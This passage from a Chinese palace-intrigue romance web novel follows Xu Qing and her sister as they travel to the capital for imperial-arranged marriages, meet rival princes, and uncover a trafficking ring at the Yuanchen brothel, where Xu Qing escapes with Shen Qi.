徐清没理会沈祁那一瞬间的惊叹,继续抬步往前走,停在一颗树下。 这片桃林树都不高,徐清随手摘了一颗桃,又一挥袖甩出去。 站在她身后不远的沈祁抬手接住,抬眸看了她一眼,随后毫不顾忌地用袖子擦了擦桃子表面,就准备往嘴里送。 桃离殷红的唇瓣一指不到时他又停了下来,扫了眼繁盛的桃林,又看了眼正在桃树下挑桃的徐清,他一挑眉,突然想吓吓眼前这个女子。 他一边把桃往空中一抛,随后又展开手掌接住掉落下来的桃,一边走到徐清身旁。 “你说这林子这么偏,为什么会有这么大一片桃林啊?” 他带着坏心眼地抛话,等着徐清接话,再吓吓她。 “因为有人种。” 徐清眼都没斜一下,继续挑桃。 今年雨下得太久了,桃都没长好。 沈祁梗了一下,瞧着她不甘心地继续问,“你知道什么地方会有一大片桃林吗?” “种桃林的地方。” 沈祁:“……” 传言野生的桃林下大多都埋着白骨,给桃树提供了养料,这才开出一大片桃林。 徐清自然感受到了沈祁想要吓唬她,故而偏不接他的茬。 原先吓唬人的话没法说了,沈祁只好低头咬了口果子,意外甘甜。 眼瞧着这棵树没有好果子,徐清便又去另一棵树下,从头到尾都没分个眼神给沈祁。 瞧了会儿,徐清抬手在树上摘了几个,放进帕子里,随后又转身继续往林子里走去。 无言片刻,沈祁跟上她。 林子岑寂,沈祁跟在徐清身后,走啊走啊也不知头儿在哪。 “徐四姑娘,你说带我去个地方,这地方在哪呢?” 徐清起先没应,须臾后才叹了口气,道:“公子当真看不出?” “什么?” “你兄长心悦我阿姐。” 沈祁:“……?” 他哥已经这么明显了吗,谁都看得出来了? 沈祁木着一张脸,心里忍不住骂了两声沈瑜。 徐清瞧着他,又悠悠叹了口气,正想再阴阳怪气几句,蓦的瞧见天边的一片乌云,日头渐渐被隐去。 “我四哥心悦徐二姑娘,同徐四姑娘要带我去的地方有何干系?” 听着徐清连叹两声气,仿佛在讥讽他没眼力见似的。 徐清还是叹了口气,走到一条岔路,面前两条道,徐清抬步往一条道上走了两步,像是忽然想起了什么,顿住脚步,匆忙回头瞥了一眼沈祁,又状似不经意地转身朝沈祁走近几步。 “没什么干系,”徐清笑着开口,“就是想留点空间给他们二人罢了。” 说着又错身越过沈祁往另一条小道上走去,“沈五公子不会以为我真的要带你去做什么吧?” 话落,还回头意味深长地看了眼沈祁。 “还是,沈五公子觉得我会做什么?” 沈祁对上她的眼神,眯了眯眼,蓦地笑了,“原来如此啊,我还以为徐四姑娘是对本王一见钟情,想带本王到无人处诉衷肠呢,原来是……”顿了顿,沈祁也同样意味深长地看着徐清,“真遗憾呢。”说着还叹了口气。 徐清:“……” 天开始有些暗了,徐清保持笑颜,“沈公子想多了。” 说罢,抬步继续朝前走。 沈祁随意地往另一条小道上看了眼,缓缓抬步跟上了徐清。 林中风掠过带起沙沙声,沈祁瞥见徐清手中用帕子包好的桃子,不经意地开口,“这桃子你还要带回去?” 徐清点点头,“我阿姐爱吃。” 沈祁有些莫名,“偌大的徐府还缺这几个果子?” 徐清 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 停下步子,转身瞧着他,“徐府自然不缺这几个果子,但这是我种的。” 沈祁怔了下,就看见徐清又转过身继续往前走。 “看不出来徐四姑娘还能干这种活,”沈祁笑了笑,定定又看了眼她手中的桃,“那接下来徐四姑娘打算去哪呢?” “天快暗了,回家。” 不远处水流潺潺,来时的小舟靠在岸上。 沈祁停下步子,“既然徐四姑娘准备归家,不如再等我一会儿,我也想带几个果子给皇兄尝尝。” 徐清回头瞧了眼,蹙了蹙眉,又低头看了眼怀里的果子,似乎想说什么,最后却只道让他快些。 沈祁笑着点头,道他去去就回。 在沈祁转身的那刻,徐清眉眼冷淡下来。 沈祁回到岔路口,往桃林望了眼,便抬步朝着另一条道走去。 这条道不好走,从开始的宽阔到后来逐渐变窄,到最后消失在密林中,沈祁站在林中,确定自己短时间内找不到路便立刻折身回去。 天色越来越暗了,沈祁快速回到桃林,随手摘了两颗桃,正准备折身回去找徐清,忽而面上一凉。 落雨了。 思及徐清还在等他,脚步更加快了,但等他折回刚刚那条道时却不见徐清人影。 抬眸望去,只见一袭绿罗裙的徐清站在船头,手中执着把油纸伞,笑意晏晏地瞧着他,不久前还在她怀里的桃果散落在她脚边,沾了雨水。 雨落得大了。 雨滴落在油纸伞面上的声音同落在林叶上的声音,和落在水中的声音混杂在一起。 雨幕中,二人的神色都有些难辨。 略大的雨势中,河水不再平静,船不需要船桨也可移动。 沈祁站在原地不动,也不质问徐清什么意思,雨水将他浇了个透。 徐清的声音透过雨幕传来,不甚清晰地进入他耳中: “江南雨水多,公子下回出门可得记得带把伞。” 船行远了,沈祁嗤了声,抬手抹了把脸,怀中刚刚随意摘来的桃落了一地,沾了污泥。 沈祁回身,重新走向密林里。 小船靠岸时,雨势小了许多,歌瑾在岸边等她。 “二姑娘已经回府了。” 徐清应了声,抬步往前走。 歌瑾跟在她身后,凑近了些,又低声道,“那日之人来信说,待姑娘嫁到京城,他定亲自来见姑娘。” 徐清眸色一凝,嗤笑出声。 “还真以为我好拿捏啊。” 6. 六 入局 沈祁重新回到那片竹林,屏息感受林间声响。 他想徐清往这条小路一瞥又将他一个人丢在这,要么是想让他知道点什么,要么是要让他留下些东西。 总归,那徐四姑娘给他留了什么在这片竹林里。 许久后他皱起眉,林间除了风声和雨水落下的声音别无其他声响,在雨中甚至连鸟鸣都没有。 他想继续往林中走,又怕迷了路无法返回,于是将腰间别的折扇抽出展开往旁边的青竹甩去,青翠的竹身上顿时留下痕迹。 留好记号后,他正准备抬步继续往里走,身后掠过尖啸的风声,他敛眉,身形一闪,躲过了暗器。 沈祁看着陷入竹身的暗器,目光沉沉。他知道不管这暗器是谁放的,他已经失去继续探寻徐清留下什么东西的机会了。 他该离开这儿了。 自他和沈瑜到灾区拿出赈灾令牌时,就从客栈住进了徐府。 他悄悄回到徐府,没有惊动小厮,只唤人打水来沐浴。 沐浴完,换上一身干净的衣裳,沈祁敲开了沈瑜的房门。 第二日清晨,沈祁沈瑜二人至前厅与徐峰话别,并转达圣意。 沈祁沈瑜即刻回京复命,徐家女不日启程前往京城兰家待嫁。 兰家乃徐夫人胞弟家,数年前胞弟入京赶考,如今平步青云,亦是朝中重臣。 前厅话毕之时,徐家姊妹正于廊下对弈。圣意传到廊下时,徐清刚落下一子。 “如今朝局诡谲,舅舅乃朝中重臣,此番圣人让你我从兰家出嫁,你说,可是要将舅舅纳入静王瑞王这一势力?” 话音落地,徐妗落下一子。 “先前阿姊与我说,圣人赐婚是否为了制衡皇子们。” 徐清执棋,在指尖把玩,迟迟不落子。 “这静王乃先皇后之子,瑞王乃淑妃之子,而先皇后与淑妃乃是一母同胞的姊妹,先皇后故去后,淑妃失宠,如今与青灯古佛为伴,按理说,失去母族庇护的皇子势力微茫才是,但若是……” 徐妗见她不落子,也将棋子把玩于指尖,“但若是他们结盟了,也未必不能翻盘。” 徐清点点头,终于又落下一子,徐妗瞧了,又扫了眼棋局落下一子,此局僵持。 她轻笑了下,“看来,圣人并不想这二位王爷登上大典。”说完,目光从棋局上移到徐清面上,“清清,此局僵住了。” 徐清又拿起一颗棋子,“我徐家自开国后便退居江南,世代偏居一隅,未曾离开,在江南一带民心深重,先前我与阿姊说过,陛下或许也想利用皇子制衡徐家。” 徐家世代偏居一隅,自开国后便自发远离京城纷争,如今圣人要徐家入局,是既想牵制皇子,又想制衡徐家。 徐清看向棋盘,“如今又想让兰家入局,圣人之意昭然若揭。” 所有的开国功臣在岁月长久的积淀下成为了盘根错节、利益相交的世家大族。 自当今圣人荣登大典后便开始除去这些势力,二十多年过去了,京城世家大族倒下大半。如此可见,圣人也必定不会放过徐家。 “阿姊方才说,此局僵住了。” 徐清抬眸对上徐妗的眸子,抬手抛出一枚棋子,棋子落入棋盘,一声响后棋子四散,棋局大乱。 “这样,便破了。” 若局势为必输之相,那便剑走偏锋,硬破出一条路来。 沈祁沈瑜传达完圣意后,带着朝廷派来的人即刻启程返京。 一行人启程后,徐清徐妗被徐峰唤至书房。 徐峰看着自己的两个女儿,眉峰紧蹙,而后垂下眉眼,似有些无力。 “圣命难违,但若你们不愿,为父可以……” 不待徐峰把话说完,徐清抬眸,“爹爹,既然圣人要我们入局,便入了这局又如何,路是自己淌出来的,况且这局也不是死局。” 徐峰抬眼,对上了徐锦贞清凌凌的眸子,再一转眼,是二女儿婉柔又坚定的笑靥。 他微微皱眉,心道这局可不简单,一步错便满盘输,连百年前先祖将徐家迁至江南的初衷也会功亏一篑的。 可他终究什么也没说,只沉沉地叹了口气。 朝廷一行人出发半月后,徐家女启程进京。 彼时沈祁沈瑜等人已入京面圣,朝廷亦派了人来接徐家女。 阳光透过层层簇簇的树叶打落在地上,细碎的光落在一行人身上。 宋阳骑着马跟在徐清的马车旁,不敢让人靠近。 徐清坐在马车里百无聊赖的把玩着手里的折扇。 这把折扇是空白的,是先前她去洪水中救人时丢的那把,亦是后来与沈祁见面时,握于他手的那把。 出发那日,宋阳将装着这把折扇的木盒交给她,虽未有一言,但徐清明白,这是沈祁抛来的橄榄枝。 用她的东西向她抛来橄榄枝。 徐清觉得有些好笑。 她将折扇放回木盒中,抬手撩开帘子,后方的兰垣邻见状立刻打马上前。 “怎么了?清清妹妹?” 兰垣邻是舅舅家的大公子,也就是徐家姐妹的大表哥。 徐清看向他,摇了摇头,笑着说,“无事,只是闷着慌,想看看景。” 兰垣邻闻言也笑了笑,点点头,“再忍忍,再过五日便可到长安了。” 徐清笑着应了一声。 夜色笼罩的时候,一行人找了个驿站休息。 徐清坐在窗前思索,听着歌瑾汇报京城的情况,忽然听见隔壁屋有些响动。 隔壁屋住着徐妗。 歌瑾也一瞬间噤声,二人对视一眼,眸光微凝。 下一瞬,一道白影从窗边飞 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 掠出去。 徐清看了眼窗外随风而动的树影,端起桌上的茶杯轻轻抿了一口。 刚放下茶杯就听到有人敲门。 徐清打开门,微微歪头疑惑地看着门外的宋阳。 宋阳面色紧绷地抬手作辑,“我听到这有些响动,想问问徐四姑娘没事吧?” 徐清笑了下,微微侧开身子,好让宋阳可以看清房内情况,“我没事。” 宋阳顺势往里一看,面色仍是紧绷着。 他扫了一圈屋内,随后看向徐清,“方才我见歌瑾姑娘进来了,她人呢?” 还不等徐清回话,他目光又一转,看向那扇开着的窗。 徐清面上笑意微凝,将身子重新侧回来,隔开了宋阳的视线。 “宋公子是在监视我吗?” 宋阳闻言抬手作辑,“姑娘误会,在下只是为了确保姑娘安全。” 徐清瞧着他,面上笑意悉数褪去,连开口的嗓音都有些凉,“那我该多谢宋公子时刻盯着我以确保我的安全了。” 说话间还特意咬重了“时刻”和“盯着”。 宋阳听着她的阴阳怪气面色不变,只是又行了一个礼,“姑娘若有事,随时唤我。”说完便转身离开。 徐清看着他进了自己的屋子后才关上房门。 一转身就见一人着一身黑衣坐在窗边的茶几处。 恰是她刚刚坐的位置的对面。 来人自顾自的拿起茶壶给自己倒了一杯茶,抬手低头轻抿了一口。 室内一时静默,徐清站在门边看着来人的动作,面色平淡,眸光微凝。 风从窗外吹来,拂过徐清的发丝和衣袖。 “徐四姑娘。”来人率先开口,“我家主子为了彰显结盟的诚意,特让我来送上一份礼物。” 徐清不接话,发间簪子折射出一丝银光。 来人受了冷待也不介意,笑眯眯地放下个精致的木盒。 徐清瞧了眼那个木盒,仅一瞬就移开了目光,眸色更加冷淡。 来人站起身作了一楫,“希望这份礼物能让徐四姑娘喜欢,我家主子说了,若徐四姑娘也有意结盟,姑娘到达长安的那日,主子在缘尘楼等姑娘。” 说完,又看了眼桌上的木盒,不再等徐清回应,行了一礼道:“那在下就不再叨唠徐四姑娘了,姑娘早些休息。” 在脚踏上窗台时,来人忽然又一回首,意味深长道:“徐二姑娘这么晚了还出去怕是不太安全啊。” 闻言,徐清微微抬首那瞬眸光敛起,手腕反转间,腰间的折扇飞出,扇柄狠狠敲在说完话准备跳窗离开的来人背上。 下一瞬扇子卡紧窗沿,来人的身影也消失在窗边。 徐清走到茶几边,拾起那个木盒,打开,看清是什么后,她瞳孔微微一缩,手中的木盒“嘭”地一声合上。 7. 七 开局 驿站后面是一片竹林,夜色下竹林里一片漆黑,不见一丝光亮。 徐妗站在一棵竹子旁,手扶竹身,一手放置胸口处,面色不虞地看着眼前人。 她是被人扛在肩上一路快速过来的,此时胃中酸水翻涌,十分难受。 眼前人一身暗色衣裳,隐在夜色中,唯衣袖裙裾上金色的纹路彰显他尊贵的身份。 “得罪了,徐二姑娘。”眼前人笑着开口,“本王不便露面,只好用这样的方式请徐二姑娘一叙。” 徐妗缓了缓胃里翻江倒海的不适感,而后调整好站姿,双手交叠放在腹前,背脊挺直,端庄中又带着江南姑娘的温婉。 “不知是哪位王爷?用此种方式让臣女来此又是为何?” 自称“本王”的人走近徐妗,“本王,沈桉。” 徐妗了然一笑,微微弯腰行了一礼,“原是周王,见过周王。” 沈桉站在徐妗面前,伸出手想扶她,却被徐妗不着痕迹地躲开。 他也不恼,只是笑笑道:“徐二姑娘不必多礼。” 徐妗正了身子,微微偏头打量了一下周遭。 还未等她思量出个一二三来,就又听到沈桉说话。 “二姑娘不必担心,本王请姑娘来自然不会伤害姑娘。”沈桉微微后退了一点,“只是听闻徐大人在江南一带治理有方,民心甚重,想必徐大人教导出来的女儿也一定不一般,这才冒昧地请姑娘来。” 闻言,徐妗柔和的眸光刹那间变得有些锋利,她笑了笑,微微放松了僵直的身子。 “王爷不妨打开天窗说亮话。” 沈桉看着她,“徐二姑娘是个爽快人,既如此,我便直言,二姑娘再有几日便入京了,再过不久,便是我的弟妹了。想必二姑娘对皇城如今的形式该有些了解,我此番贸然请姑娘前来,是想向姑娘抛个橄榄枝,二姑娘可愿与我结盟?” 徐妗微微偏头似是不解,“臣女惶恐,臣女自幼在江南长大,又怎会对皇城的情形有所知晓呢?王爷想与臣女结盟,亦让臣女不解。” 沈桉听了这话挑了挑眉,又向徐妗靠近一点,突然抬手扶正了徐妗因刚刚一路颠簸而歪的发簪。 徐妗刚刚放松的身子一瞬间又僵硬起来。 沈桉微微弯腰,面上笑着,眼底却未见一丝笑意,“徐二姑娘,装傻可没意思。” 徐妗对上他的目光,轻轻眨了眨眼,不说话。 沈桉做完一系列动作,直起腰,“本王没有逼迫你的意思,但二姑娘是个聪明人,应当知晓此番进京本就是入局,与我合作有益无弊,二姑娘可好好考虑考虑。” 说完,像是突然感觉到了什么,往徐妗身后的漆黑看了一眼,随后眯了眯眼。 “看来有人来接二姑娘了。”沈桉将目光移回徐妗身上,笑了笑,“二姑娘好好考虑,本王,期待姑娘的回应。” 话音刚落,沈桉迅速回身抽出一旁侍卫腰间的剑,猛地向徐妗的身后掷去。 剑身在月光下泛出银光,从徐妗鬓边飞过,击落了发簪,恰是刚刚沈桉扶正的那只。 黑暗中,“铮”的一声,那把剑落地。 徐妗像是被吓了一跳,眼睛睁大,面色苍白地看了眼地上的簪子,又抬首去看沈桉。 此时沈桉已经带着他的人消失在夜色中。 徐妗眸色一瞬间从被吓到后的惊慌变为平静。 她抬手抚了一把鬓边乱了的发,弯腰拾起被击落的发簪。 刚转过身,就见歌瑾从刚刚剑飞出的方向走出来。 “二小姐,你没事吧?” 徐妗苍白的脸上绽出一点笑,“没事,我们回去吧。” 歌瑾往她身后又看了几眼,确定人都走了后,护着徐妗回了驿站。 回到屋里,徐妗将取出一个小巧的木盒,里头是一个花纹复杂的玉佩。 这是临出发前,徐峰交给她的。 徐家先祖当初选择偏居江南,守一方平安,远离京城是非,是怕太祖过河拆桥,最后落个兔死狗烹的下场。虽然远离了京城,但先祖仍是未雨绸缪,自己组建了一支队伍,这支队伍里许多人都是开国时随先祖四处征战的人,即使先祖在建国后还了兵权,但这些人仍跟着先祖。徐峰给她的这枚玉佩就是号令这支队伍的。 不过太祖到死也没有动,不管是在京城扎根的,又或是如徐家、齐家远离京城的任何一家。但徐家的这支队伍却一代代地留了下来,且队伍愈发壮大。 徐妗取出玉佩,拿在手里轻轻摩挲着,目光看着玉佩,眼神却有些空,像是在发呆,又像是在思索。 徐清把木盒交给栖枝收好,恰此时歌瑾护着徐妗回来了。 “怎么了?” 歌瑾面色严肃,“周王找上了二小姐。”随后将刚刚在竹林里发生的对话复述了一遍,“最后我看周王离二小姐越来越近,还上手碰了二小姐的发簪,便故意发出了些动静,他们发现我后拔了剑往我的方向掷来后就离开了。” 闻言,徐清挑了挑眉,想起刚刚木盒里的东西。 “你护着阿姊回来,阿姊可有让你带话给我?” 歌瑾摇头,“没有,二小姐与我回来,一路无话。” 徐清垂眸,点了点头,“知道了,去休息吧。” 距离到京城还有三日,徐清在半道上见到了一位熟人。 是江南富商许家女儿许钰的婢女寻竹。 “徐四姑娘,我家小姐失踪已数日,至今不知所踪,此前小姐特意嘱咐,若有事便来寻姑娘,寻竹这才来求助姑娘,望四姑娘能帮帮小姐。” 寻竹跪在徐清跟前,面色急切。 徐清听了面色一变,上前扶起寻竹,“你先别急,我问你,阿钰何时丢的?” 寻竹低着头,因着急切和张惶,不停地落着泪,听了徐清的问话,赶忙回答,“就在二位姑娘出发后的第三日,那日小姐上街逛了逛,觉得无聊,便说要自己去游船偷偷闲,让奴婢 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在岸上等她,后来船越驶越远,奴婢着急,便赶紧让一个阿翁划船带我过去,等好不容易追上小姐那艘小船的时候,小姐就已经不见了。” 歌瑾为寻竹倒了杯水,并递了张帕子给寻竹擦泪。 在她出发的第三日,意思就是许钰已经丢了近十天了! “这件事,伯父伯母知道了吗?我阿爹阿娘,还有我三哥知道了吗?” 寻竹接过了手帕,还未来得及拭泪便赶忙回答:“徐夫人已经知道了,但还未告知徐大人徐公子,眼下大坝还在重建,老爷说不敢打扰徐大人。” 徐清安抚她,“我知道了,你别担心,先去休息一下吧。” 寻竹一路走来不眠不休才追上徐清一行人,现下不说头发乱糟糟的,连衣裳都破破烂烂的。 歌瑾带着寻竹去另一个房间清洗休息。 徐清站在窗前,眉心微蹙,眼中满是担忧。 眼下栖枝被她派去提前进京摸情况了,其他人都还留在江南。 许家是江南一带的富商,家宅就在徐府隔壁,故而她与许钰是自小一同长大的闺中密友。 而作为江南富商的许家,在江南一带名声甚旺,经常出资帮助百姓。 加上与徐府交好,不说江南百姓对许家赞不绝口,就连看中江南富庶企图来此作奸犯科的人都知道避开许家。 此番许钰被劫,要么是来人还未摸清江南一带的情况,要么是冲着徐家来的。 徐清理了下思路,坐在案前提笔写了一封密函。 完笔那刻,歌瑾恰好安顿完寻竹推门进来。 徐清将封好的密函递给她,“传回去。” 歌瑾接过密函,转身又匆匆出去。 京城,静王府。 “近日刘家安分许多。”沈瑜落下一白子。 沈祁低着头,指尖摩挲着一颗黑子,“陈家的事儿倒是不少。” 沈瑜闻言,面上带着些难言的笑,“这陈锌昀在京城作恶多端,却因陈家庇护次次逃脱责罚,如今舆论尘嚣,他难逃一罚。” 沈祁落下一子,开口嗓音有些沉,“早便该罚,大理寺也该好好整顿一番了。” 沈瑜赞同地点点头,目光盯着棋局,边思索边说道:“父皇此次命你负责此事,你需得注意些,别把底牌亮出去了。” 说完落下一子,又接着道:“况且这缘尘楼是刘家叶家合作的产业,背后还是三皇兄,此次事发缘尘楼,莫说三皇兄,刘家叶家也不会放过他的,最近缘尘楼动作不少,也怕闹大被查。” 沈祁点点头,应了声“我知晓。” 随后沈瑜又想起什么,看向沈祁,“先前在我们去往江南路上企图截杀我们的人查到了,是那宫女之子的人。” 沈祁冷嗤出声,“果真是个废物,派出的人也是废物。” 说完,沈祁将手中的棋子扔回棋蛊中,眸中带着恨意。 “先不着急,他和他那宫女娘一个都逃不掉。” 8. 八 缘尘女(壹) 踏入京城的前一晚,徐清收到了回信。 [买卖女子,叶家,京城缘尘楼。] 徐清看着信笺上的字,眯了眯眼,随后将信笺借着烛火点燃。 火光映着她带着冷意的眼眸,她回头,看向歌瑾,开口语调沉沉。 “你打点一下,派些人去别的地方打听一下,若家有女子失踪的,闹大些。” “是。” 第二日晌午后,一行人进入京城,宋阳和兰垣邻需要入宫面圣汇报,徐家姊妹则直接到兰家住下。 马车停在兰府门口,兰家一行人早已候在门口,吏部尚书兰奕郴,也就是徐夫人的弟弟,徐家姊妹的舅舅,也从书房出来候在这里。 徐清和徐妗下了马车,还未来得及行礼便被兰夫人牵住手。 “不用行礼了,都是一家人,来了就好。” 兰夫人笑容满面,拉着姊妹二人的手亲热的不行。 徐家姊妹对视一眼,都有些怔愣。 他们与舅舅舅母已经许多年没见过面了,自舅舅进京考取了功名后,便将舅母和表哥表妹接进京去了。 如今算来也快有十年不曾见面了。 兰奕郴站在兰夫人身后,也一脸慈爱地笑着说,“你们舅母说的对,不必在意这些虚礼了。” 徐家姊妹便任由兰夫人牵着,但也开口唤了人打了招呼。 宋阳和兰垣邻将人送到后,便冲着兰奕郴和兰夫人行了一礼便打马转头进宫去了。 待人浩浩荡荡地走了后。 突然,兰大人兰夫人身后冒出了道清脆的女声。 “咱们进去呗,两位阿姊千里迢迢过来,别让人一直站在门口啊。” 众人抬眼看向说话的姑娘。 兰夫人本还看着儿子远去的背影,闻言回过神来,赶忙道:“对对对,我们进去。” 随后边牵着徐家姊妹入府,边说着:“这是你们愿宜妹妹,在江南的时候老爱黏着你们的。” 兰愿宜走在兰夫人边上,闻言害羞地笑了笑,但也开口唤人,“妗妗姐姐,清清姐姐。” 徐妗笑着点头,“愿宜长成大姑娘了。” 徐清笑着接话,“姐姐差点认不出了。” 众人在前厅寒暄了一番,兰奕郴回书房继续处理公务,兰夫人则领着徐家姊妹到给她们准备的房间。 “你们好好休息一番,晚些让人来唤你们用晚膳。”说完,又转头看向兰愿宜“你陪陪姐姐们。” 徐家姊妹和兰愿宜都应了声好,便目送兰夫人离开院子。 兰愿宜今岁十四,差几日及笄,还未定亲,性格跳脱热情,拉着徐家姐妹二人兴致勃勃地逛院子,讲她与她兄长的糗事。 一讲就是好几个时辰,直到兰夫人派人来唤。 众人用完晚膳后,姐妹俩回到房间里。 歌瑾站在徐清身后,低声道:“已经派人出去了。” 徐清点点头,表示知晓了,随后又问:“栖枝呢?” 歌瑾摇摇头,“目前未收到栖枝姐姐的回信,但已将小姐已入京的消息传给河倾酒肆,想必栖枝姐姐知晓了后自会来兰府找小姐。” 徐清沉吟了一会儿,不再问其他,转头看向歌瑾,“我出去一趟,别让人发现。” 歌瑾颔首,“明白,小姐。” 徐清换上一身夜行衣,悄悄出了兰府。 京城繁华不逊于江南,甚至更甚于江南。 即使夜幕降临,街道上仍灯火通明。 作为京城最大的消金窟,缘尘楼更是嬉笑声不绝。 徐清没有从大门进去,她悄悄潜进楼里。 此前已让人大概摸了下缘尘楼的构造,此时,她需要找到找到地下一层的入口。 静王府,书房。 沈祁刚接到了手下汇报的信息,此刻正站在桌旁,用烛火点燃密信。 “徐家姐妹已经入京了。”沈瑜坐在案旁,瞧着沈祁的动作,“接下来什么打算?” “先不管她们,先把陈家的事儿解决了。 沈祁将燃着火的信笺扔进火盆里,转身坐到案桌的另一边。 “你知道的,我挺急的。”沈瑜笑了声。 沈祁闻言挑了挑眉,转头看了他一会儿,随后笑骂他:“人又不会跑了。” 沈瑜耸了耸肩,不置可否。 “陈家的事儿得先解决,”沈祁端起面前的茶喝了一口,“最近发现了件事儿,兴许可以从陈锌昀这件事入手查到些什么。” 说完,他放下茶杯:“我得出去一趟,你自便。” 沈瑜看他急匆匆地出去,赶紧叫住他,说他到此要交代的最后一件事。 “诶,你这几日抽个空去见见母妃,她老念叨着想你。” 沈祁脚步一顿,抬手挥了挥,“知道了。” 徐清按着歌瑾拿回来的密信上所说的找到了通往地下一层的入口。 此处是众伶人乐妓表演舞台的后面,入口窄小,被伶人乐妓们的服饰遮挡。 此时,伶人乐妓们正在前面表演,哄笑叫和声不断从前方传来。徐清警惕地看了看四周,确定没人后才快去拨开纷乱的服饰。 从宛如狗洞的入口进来后,徐清发现这也是一个房间。 她快速扫视了一圈,在案头各个饰品上都摸了摸,连字画都掀起来看了看,也没再发现任何类似密室的开关。 突然入口处传出了响声。 徐清迅速扯了床幔,躲进床与墙中间的缝隙。 来人一进来就开口大声说“谁在这里?立刻出来!” 徐清小心地屏住呼吸,等了一会儿便听见脚步声靠近。 她微微绷紧身子,手慢慢摸上腰间别着的扇子。 下一刻,便听见来人脚步声停在床前,来人边弯腰去拍了拍床铺,便自言自语道:“奇怪,没有人啊,难道门口的衣饰又是那群小贱蹄子们乱动的,看我等会怎么收拾她们……” 随后,徐清就听见来人的脚步声走远再消失。 她微微拨开一点挡在身前的床幔,确保人走了后,从床幔后走了出来。 她轻蹙眉看着床,须臾上前,弯下腰,抬手掀起床单,轻轻扣了扣床板。 空的。 徐清眉头舒展了些。 地下一层的入口在这。 但还不知道里面情况如何,且刚刚已有人发觉这房间可能进了人,她得先离开这再做打算。 为避免被发现,她刚刚进来的时候随手顺了件衣裳现下她立刻套上,随后侧耳听了听外面的动静。 确保没人后她赶紧从那类似狗洞的地方出去。 穿着缘尘楼姑娘的衣服,这一路上便可以稍稍光明正大地走。 但弊端就是,容易被人缠上。 一个没多少人的拐角,徐清眸光冷冽地看着眼前拽着她袖子的醉醺醺的酒鬼。 “放手。”语调森冷,怕被人注意到,她还特意将声音压低。 醉鬼对她说的话不以为意,色眯眯地笑着,“小美人,今夜来陪陪爷啊……” 嘴上不干不净着,同时手抬起,准备摸上徐清的脸颊。 徐清微微偏头,抽出扇子狠狠敲在那只油腻腻的手上。 那醉鬼瞬间暴躁,嘴里刚准备骂骂咧咧,下一刻又被扇子狠狠敲在脖颈处。 那浑身酒气的身子刹那间软绵绵地倒下去。 徐清嫌恶地看了眼地上的人,抬步跨过去。这个拐角处只有一个雅间,没什么人过来,打算离开,忽然听到房间里传出声音。 她立刻悄悄地将身子贴在门外。 里面只有两道男声。 “刚从江南来一批姑娘,这几日正在郊外挑拣着。” “ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 好,我这边的人不方便过去,你们好好挑挑,到时候送来。” 徐清听着,眼睛微微眯起。 里面的声音还在继续。 “放心吧,交给我了。”这个男声顿了顿,再开口的声音有些怨毒,“都怪那个徐家,还有怀王静王,竟将我们在江南的据点给毁了,此番徐家女进京,我们定不能放过她们。” “诶,”另一道男声不太赞同,“这徐家是圣上下旨赐婚给怀王静王的,如今养在兰府,你如何动的?如今我刘家需得夹着尾巴生存,你也莫轻举妄动,莫坏了王爷的计划。” 室内静了一瞬,徐清在门外考虑着是否要绑了里面那两个人,胜算又是多少。 还未等她考虑清楚就又听见里头传来声音。 “说到底,我们在江南的据点会被发现还是因为那无名小贼偷了粮草,还放去了醉烟楼,你们查的怎么样了?那些小贼的来历查到了吗?” “还未,这小贼着实难查又难抓,莫不是江南一带的贼寇?” “不好说,若是贼寇,为何劫了粮草不带回寨子里,而是放在醉烟楼?又为何让怀王静王第二日就知道粮草在醉烟楼?怕就是冲着我们来的,”里头的男声愈发凝重,“不行,让你的人继续查,必须……” 忽然一道声响,里头的人声顿住。 “谁?!” 此刻门外和徐清大眼瞪小眼的、一身夜行衣的沈祁微微有些错愕,似是没想到会在这里看见她。 里头响起脚步声。 徐清当机立断,上前拉起沈祁的手开始往外跑。 沈祁也立刻回神,跟着她跑。 而那二人打开门时,沈祁和徐清已经跑出拐角没了影儿,二人对视一眼,都感觉不对劲,立刻追出去。 此时的缘尘楼仍旧热闹,二人奔跑的身影在人群中未来的及引起注意,就被一只从屋里伸出的手拽住。 徐清紧锁着眉对上门内人的视线怔了一下,随后拉着沈祁进了房间。 那女子拉着徐清二人进了屋,关上门后赶忙塞了张字条在徐清手中,然后指了指已经打开的窗户。 “二位会武功吧,快走吧。” 徐清握着字条,想起刚刚屋内那二人的交谈,深深地看了眼那姑娘,随后和沈祁对视一眼。 开口的话语快速又理直气壮,“臣女不会武功,劳烦公子带一带我了。” 沈祁挑了挑眉,意味深长地看着她,但人已经快追过来了,正在外面一间一间的搜房间。 刚刚仅仅是二人,如今外面搜人的动静远远不止二人。 来不及揶揄徐清,沈祁一只手反握住徐清的手,对那姑娘道了声谢,随后拽着徐清跳出了窗户,另一只手顺势搭上徐清的腰身,二人迅速下落。 那姑娘看见他二人跳了出去后立刻关上窗,坐在一旁的梳妆台前假装梳妆。 她刚拿起木梳,门就被暴力地推开,一群人涌进来快速翻着屋内的东西,还有一人凶神恶煞地来到她跟前问话。 “你!刚刚有没有看到两个人?” 那姑娘似是被吓到了,看着眼前这人凶神恶煞的表情,面色苍白恐惧,她摇了摇头。 “没…没有,我正在梳妆,我是刚来的…还……” 话未说完,其他搜房的人回来禀报一声,说是没有发现有人。 那人便不再等姑娘说完话,直接带着人就离开了这个房间。 待人离开后,那姑娘苍白着脸赶紧上前把门关上,随后转过身背靠着门缓缓蹲在地上。 好吓人。 刚刚那些人凶神恶煞的模样,让她一瞬间像是回到了那个阴暗的房屋里。 现在她只祈求那位姑娘和那位公子愿意看在她帮了他们一把的份上来救救她。 泪不受控地从眼眶中涌出,划过面庞,落在刚刚徐清和沈祁踩过的地上。 9. 九 缘尘女(貳) 缘尘楼一侧是繁华的京城街道,一侧是护城河。 徐清和沈祁二人落入水中,又瞬间浮出头来。 徐清手里还紧紧攥着那位姑娘塞给她的字条。 她甩了甩面上的水,怕字条上的字迹被水冲模糊,赶紧抬起手展开字条,上面只有三个字。 “救救我。” 